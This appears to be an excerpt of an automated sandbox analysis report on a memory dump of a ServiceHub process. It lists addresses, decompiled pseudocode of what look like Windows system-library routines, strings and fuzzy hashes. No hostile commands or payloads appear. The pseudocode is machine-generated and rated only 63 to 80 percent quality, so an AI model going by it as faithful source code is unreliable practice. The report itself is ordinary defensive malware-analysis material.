                                          0x00000000
                                          0x011dfc47
                                          0x011dfc47
                                          0x011dfc49
                                          0x011dfcb2
                                          0x011dfcb4
                                          0x011dfcb6
                                          0x011dfcdc
                                          0x011dfcdc
                                          0x00000000
                                          0x011dfcb8
                                          0x011dfcc3
                                          0x011dfcc5
                                          0x011dfcc7
                                          0x00000000
                                          0x011dfcc9
                                          0x011dfcc9
                                          0x011dfccd
                                          0x00000000
                                          0x011dfccd
                                          0x011dfcc7
                                          0x00000000
                                          0x011dfc4b
                                          0x011dfc4b
                                          0x011dfc4e
                                          0x011dfc4e
                                          0x011dfc51
                                          0x011dfc51
                                          0x011dfc54
                                          0x011dfc5a
                                          0x011dfc5c
                                          0x011dfc5f
                                          0x011dfc61
                                          0x011dfc63
                                          0x011dfc65
                                          0x011dfc67
                                          0x011dfc6e
                                          0x011dfc72
                                          0x011dfc72
                                          0x011dfc72
                                          0x011dfc72
                                          0x011dfc67
                                          0x011dfc61
                                          0x00000000
                                          0x011dfc5a
                                          0x011dfc49
                                          0x011dfc41
                                          0x011dfc30
                                          0x011dfc27
                                          0x011dfc03
                                          0x011dfbcd
                                          0x011dfbd3
                                          0x011dfbd9
                                          0x011dfbdc
                                          0x011dfbde
                                          0x011dfc99
                                          0x011dfc9b
                                          0x011dfc9d
                                          0x011dfcd5
                                          0x011dfcd5
                                          0x011dfc89
                                          0x011dfc89
                                          0x00000000
                                          0x011dfc9f
                                          0x011dfc9f
                                          0x011dfca3
                                          0x00000000
                                          0x011dfca3
                                          0x00000000
                                          0x011dfbe4
                                          0x011dfbe4
                                          0x011dfbe4
                                          0x011dfbe4
                                          0x011dfbe9
                                          0x011dfbf2
                                          0x00000000
                                          0x011dfbf2
                                          0x011dfbde
                                          0x011dfbcb
                                          0x011dfbab
                                          0x011dfc8b
                                          0x011dfc8b
                                          0x011dfc8c
                                          0x011dfb80
                                          0x011dfb72
                                          0x011dfb5e
                                          0x011dfc8d
                                          0x011dfc91
                                          0x011dfadf
                                          0x011dfadf
                                          0x011dfae1
                                          0x011dfae4
                                          0x011dfae7
                                          0x011dfaec
                                          0x011dfaf8
                                          0x011dfb00
                                          0x011dfb07
                                          0x011dfb0f
                                          0x011dfb0f
                                          0x011dfb07
                                          0x00000000
                                          0x011dfaf8
                                          0x011dfadd

                                          Strings
                                          • *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 0121BE0F
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
                                          • API String ID: 0-865735534
                                          • Opcode ID: 6d045e9d3c1f2d89182bc3ade197885e12b9d364060f64f21ad76c60717aae17
                                          • Instruction ID: 11c118198eaf8130dd32396826d8e321b89120b9489f8aaf613cf46a522bf523
                                          • Opcode Fuzzy Hash: 6d045e9d3c1f2d89182bc3ade197885e12b9d364060f64f21ad76c60717aae17
                                          • Instruction Fuzzy Hash: 87A1E331A106078BEB2DDB6CC450BBAB7F5AF58724F044569EA07CB684DB34DA438B91
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011A2D8A Relevance: 1.4, Strings: 1, Instructions: 191COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 63%
                                          			E011A2D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x1295350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x1297bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E011E97C0();
				}
				if( *0x12979c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x12979c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E011D1624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E011C7D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E0123FE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E011E9520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E011DE18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L011FDF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x1296901;
								_push(_t109);
								_v52 = _t98;
								if( *0x1296901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E011E9980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E011E95D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E011C7D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E011C7D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E01227016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E0123FDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x1295350;
							if(_t109 != 0x1295350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E0123FFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E01235720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}




































                                          0x011a2d8a
                                          0x011a2d8a
                                          0x011a2d92
                                          0x011a2d96
                                          0x011a2d9e
                                          0x011a2da0
                                          0x011a2da3
                                          0x011a2da5
                                          0x011a2da8
                                          0x011a2dab
                                          0x011a2db2
                                          0x011ff9aa
                                          0x011ff9ab
                                          0x011ff9ae
                                          0x011ff9ae
                                          0x011a2db8
                                          0x011a2dc2
                                          0x011ff9b9
                                          0x011ff9be
                                          0x011ff9bf
                                          0x011ff9bf
                                          0x011a2dcf
                                          0x011ff9c9
                                          0x011a2dd5
                                          0x011a2dd5
                                          0x011a2dd5
                                          0x011a2dde
                                          0x011a2de1
                                          0x011a2e70
                                          0x011a2e72
                                          0x011a2e72
                                          0x011a2de7
                                          0x011a2deb
                                          0x011a2e7c
                                          0x011a2e83
                                          0x011a2e85
                                          0x011a2e8b
                                          0x011a2e8d
                                          0x011a2e92
                                          0x011a2e92
                                          0x011a2e85
                                          0x011a2df1
                                          0x011a2df7
                                          0x011a2df9
                                          0x011a2df9
                                          0x011a2dfc
                                          0x011a2dff
                                          0x011a2e02
                                          0x00000000
                                          0x011a2e05
                                          0x011a2e0c
                                          0x011ff9d9
                                          0x011a2e12
                                          0x011a2e12
                                          0x011a2e12
                                          0x011a2e1a
                                          0x011ff9e3
                                          0x011ff9e9
                                          0x011ff9f0
                                          0x011ff9f6
                                          0x011ff9f8
                                          0x011ff9f8
                                          0x011ff9f0
                                          0x011a2e23
                                          0x011ffa02
                                          0x011ffa03
                                          0x011ffa05
                                          0x011ffa06
                                          0x00000000
                                          0x011a2e29
                                          0x011a2e29
                                          0x011a2e2e
                                          0x011a2e34
                                          0x011a2e3e
                                          0x00000000
                                          0x00000000
                                          0x011a2e44
                                          0x011a2e47
                                          0x011a2e4d
                                          0x00000000
                                          0x00000000
                                          0x011a2e4f
                                          0x011a2e54
                                          0x00000000
                                          0x00000000
                                          0x011a2e5a
                                          0x011a2e5f
                                          0x011a2e9a
                                          0x011a2ea4
                                          0x011a2ea5
                                          0x011a2ea8
                                          0x011a2eaf
                                          0x011a2eb2
                                          0x011a2eb5
                                          0x011ffae9
                                          0x011ffaeb
                                          0x011ffaed
                                          0x011ffaef
                                          0x011ffaf7
                                          0x011ffaf8
                                          0x011ffafd
                                          0x011ffaff
                                          0x011ffb04
                                          0x011ffb04
                                          0x011ffaff
                                          0x011a2ec0
                                          0x011a2ec4
                                          0x011a2ec6
                                          0x011a2ec8
                                          0x011ffb14
                                          0x011ffb18
                                          0x011ffb1e
                                          0x011ffb21
                                          0x011ffb21
                                          0x011a2ece
                                          0x011a2ece
                                          0x011a2ece
                                          0x011a2ed7
                                          0x011a2e61
                                          0x011a2e63
                                          0x011ffa6b
                                          0x011ffa71
                                          0x011ffa76
                                          0x011ffa78
                                          0x011ffa8a
                                          0x011ffa7a
                                          0x011ffa83
                                          0x011ffa83
                                          0x011ffa8f
                                          0x011ffa91
                                          0x011ffa97
                                          0x011ffa9d
                                          0x011ffaa4
                                          0x011ffaaa
                                          0x011ffaaf
                                          0x011ffab1
                                          0x011ffac3
                                          0x011ffab3
                                          0x011ffabc
                                          0x011ffabc
                                          0x011ffac8
                                          0x011ffacb
                                          0x011ffadf
                                          0x011ffadf
                                          0x011ffacb
                                          0x011ffaa4
                                          0x011ffa91
                                          0x011a2e6f
                                          0x011a2e6f
                                          0x011a2e5f
                                          0x011ffa13
                                          0x011ffa15
                                          0x011ffa17
                                          0x011ffa1f
                                          0x011ffa21
                                          0x011ffa22
                                          0x011ffa25
                                          0x011ffa28
                                          0x011ffa2f
                                          0x011ffa2f
                                          0x011ffa2a
                                          0x011ffa2a
                                          0x011ffa2a
                                          0x011ffa31
                                          0x011ffa34
                                          0x011ffa36
                                          0x011ffa3c
                                          0x011ffa3e
                                          0x011ffa41
                                          0x011ffa43
                                          0x011ffa45
                                          0x011ffa45
                                          0x011ffa41
                                          0x011ffa3c
                                          0x011ffa4a
                                          0x011ffa4f
                                          0x011ffa51
                                          0x011ffa53
                                          0x011ffa56
                                          0x011ffa5b
                                          0x011ffa5e
                                          0x00000000
                                          0x011ffa5e
                                          0x011a2e23

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: RTL: Re-Waiting
                                          • API String ID: 0-316354757
                                          • Opcode ID: 1c9bf3a938ef0df086df4ca4db4e97f5ca19c45746b331f647cd3effea779fed
                                          • Instruction ID: 7a4d2990665dd6e68b6ba6988a4ef153aa910791b79ba82c2d974172ea1f2f87
                                          • Opcode Fuzzy Hash: 1c9bf3a938ef0df086df4ca4db4e97f5ca19c45746b331f647cd3effea779fed
                                          • Instruction Fuzzy Hash: 59613672A00606AFEB3EDF6CC844B7E7BA0EB44714F1502ADE611972C1D7B49D46C792
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01270EA5 Relevance: 1.4, Strings: 1, Instructions: 153COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 80%
                                          			E01270EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E0126FF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E01271074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E011E9730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E0126A80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E0126A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x1298b04 >> 0x14) + (_v44 -  *0x1298b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E011C7D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E0126138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E011C7D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E0125FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x1298724 & 0x00000008) != 0) {
						E012652F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E012715B5(0x1298ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}
























                                          0x01270eb7
                                          0x01270eb9
                                          0x01270ec0
                                          0x01270ec2
                                          0x01270ecd
                                          0x0127105b
                                          0x0127105b
                                          0x01271061
                                          0x01271066
                                          0x01271066
                                          0x0127106b
                                          0x01271073
                                          0x01271073
                                          0x01270ed3
                                          0x01270ed6
                                          0x01270edc
                                          0x01270ee0
                                          0x01270ee7
                                          0x01270ef0
                                          0x01270ef5
                                          0x01270efa
                                          0x01270efc
                                          0x01270efd
                                          0x01270f03
                                          0x01270f04
                                          0x01270f06
                                          0x01270f07
                                          0x01270f09
                                          0x01270f0e
                                          0x01270f14
                                          0x01270f23
                                          0x01270f2d
                                          0x01270f34
                                          0x01270f34
                                          0x01270f14
                                          0x01270f52
                                          0x00000000
                                          0x00000000
                                          0x01270f58
                                          0x01270f73
                                          0x01270f74
                                          0x01270f79
                                          0x01270f7d
                                          0x01270f80
                                          0x01270f86
                                          0x01270fab
                                          0x01270fb5
                                          0x01270fc6
                                          0x01270fd1
                                          0x01270fe3
                                          0x01270fd3
                                          0x01270fdc
                                          0x01270fdc
                                          0x01270feb
                                          0x01271009
                                          0x01271009
                                          0x01271015
                                          0x01271027
                                          0x01271017
                                          0x01271020
                                          0x01271020
                                          0x0127102f
                                          0x0127103c
                                          0x0127103c
                                          0x01271048
                                          0x01271050
                                          0x01271050
                                          0x01271055
                                          0x00000000
                                          0x01271055
                                          0x01270f88
                                          0x01270f9e
                                          0x01270fa2
                                          0x01270fa9
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01270fa9
                                          0x00000000

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: `
                                          • API String ID: 0-2679148245
                                          • Opcode ID: 387f0c502870b25b9da4b82a664268a845f6ca0ed96824e05920078a304e86f2
                                          • Instruction ID: 1682c6588294f0fb918b075537ddc82bf0dcc237e1781b6760af409a7058d4ba
                                          • Opcode Fuzzy Hash: 387f0c502870b25b9da4b82a664268a845f6ca0ed96824e05920078a304e86f2
                                          • Instruction Fuzzy Hash: C551AE713143429FD325DF28D884B2BBBE9EFC5704F04092CFA8697290DA70E909CB62
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DF0BF Relevance: 1.4, Strings: 1, Instructions: 137COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 75%
                                          			E011DF0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E011C4120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E011E9830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E011E9990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E011E95D0();
							goto L11;
						} else {
							_t109 = L011C4620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E011EF3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E011E95D0();
										L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

























                                          0x011df0d3
                                          0x011df0d9
                                          0x011df0e0
                                          0x011df0e7
                                          0x011df0f2
                                          0x011df0f4
                                          0x011df0f8
                                          0x011df100
                                          0x011df108
                                          0x011df10d
                                          0x011df115
                                          0x011df116
                                          0x011df11f
                                          0x011df123
                                          0x011df124
                                          0x011df12c
                                          0x011df130
                                          0x011df134
                                          0x011df13d
                                          0x011df144
                                          0x011df14b
                                          0x011df152
                                          0x0121bab0
                                          0x0121bab0
                                          0x011df158
                                          0x011df158
                                          0x011df15a
                                          0x011df160
                                          0x011df165
                                          0x011df166
                                          0x011df16f
                                          0x011df173
                                          0x0121baa7
                                          0x0121baa7
                                          0x0121baab
                                          0x00000000
                                          0x011df179
                                          0x011df18d
                                          0x011df191
                                          0x0121baa2
                                          0x00000000
                                          0x011df197
                                          0x011df19b
                                          0x011df1a2
                                          0x011df1a9
                                          0x011df1af
                                          0x011df1b2
                                          0x011df1b6
                                          0x011df1b9
                                          0x011df1c4
                                          0x011df1d8
                                          0x011df1df
                                          0x011df1e3
                                          0x011df1eb
                                          0x011df1ee
                                          0x011df1f4
                                          0x011df20f
                                          0x0121bab7
                                          0x0121babb
                                          0x0121bacc
                                          0x0121bad1
                                          0x011df215
                                          0x011df218
                                          0x011df226
                                          0x011df22b
                                          0x00000000
                                          0x011df22b
                                          0x011df1f6
                                          0x011df1f6
                                          0x011df1f9
                                          0x011df1fb
                                          0x011df1fb
                                          0x011df1f4
                                          0x011df191
                                          0x011df173
                                          0x011df152
                                          0x011df203

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @
                                          • API String ID: 0-2766056989
                                          • Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
                                          • Instruction ID: 455c8086e6d7166d201b690f0b324cae24d6c60930f6f70b9eff6851771ca227
                                          • Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
                                          • Instruction Fuzzy Hash: A5519F725047159FC324DF69C840A6BBBF8FF58714F00892EFA9687690E7B4E905CB91
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01223540 Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 75%
                                          			E01223540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x129d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E011E0BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E01223706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E011EFA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E01223540;
						E011EFA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E011FDDD0( &_v1072, _t75, _t79, _t80, _t81);
						E01230C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E011E97C0();
					}
					return E011EB640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E01223971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E01223884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E011EFA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E011E9650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E01223787(_a4,  &_v352, _t80);
						}
					}
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E011E95D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}































                                          0x01223552
                                          0x0122355a
                                          0x0122355d
                                          0x01223566
                                          0x01223567
                                          0x0122357e
                                          0x0122358f
                                          0x012235a1
                                          0x012235a5
                                          0x0122366b
                                          0x0122366b
                                          0x0122366d
                                          0x01223672
                                          0x01223679
                                          0x01223685
                                          0x0122368d
                                          0x0122369d
                                          0x012236a7
                                          0x012236b8
                                          0x012236c6
                                          0x012236c7
                                          0x012236dc
                                          0x012236e1
                                          0x012236e7
                                          0x012236e9
                                          0x012236e9
                                          0x01223703
                                          0x01223703
                                          0x012235b5
                                          0x012235c0
                                          0x012235c4
                                          0x00000000
                                          0x00000000
                                          0x012235ca
                                          0x012235d7
                                          0x012235e2
                                          0x012235e6
                                          0x012235e8
                                          0x012235f5
                                          0x012235fa
                                          0x01223603
                                          0x01223604
                                          0x01223609
                                          0x0122360a
                                          0x01223612
                                          0x01223613
                                          0x0122361e
                                          0x01223622
                                          0x01223628
                                          0x0122362f
                                          0x0122362f
                                          0x01223636
                                          0x01223638
                                          0x0122363b
                                          0x01223642
                                          0x01223642
                                          0x01223636
                                          0x01223657
                                          0x01223657
                                          0x0122365c
                                          0x01223662
                                          0x01223669
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: BinaryHash
                                          • API String ID: 0-2202222882
                                          • Opcode ID: 6cf6631077bc21fe37e88641344d94e66940188de67033f4c4da92348421da29
                                          • Instruction ID: 6cd7ec31b7a8e53f474403b2443b0b3f777320b5f09e80e902b7f75230d42a97
                                          • Opcode Fuzzy Hash: 6cf6631077bc21fe37e88641344d94e66940188de67033f4c4da92348421da29
                                          • Instruction Fuzzy Hash: 2A4135F1D1052DAEDF21DA90CC84FEEB77CAB54718F004595EB09AB240DB749E898F98
                                          Uniqueness

                                          Uniqueness Score: -1.00%

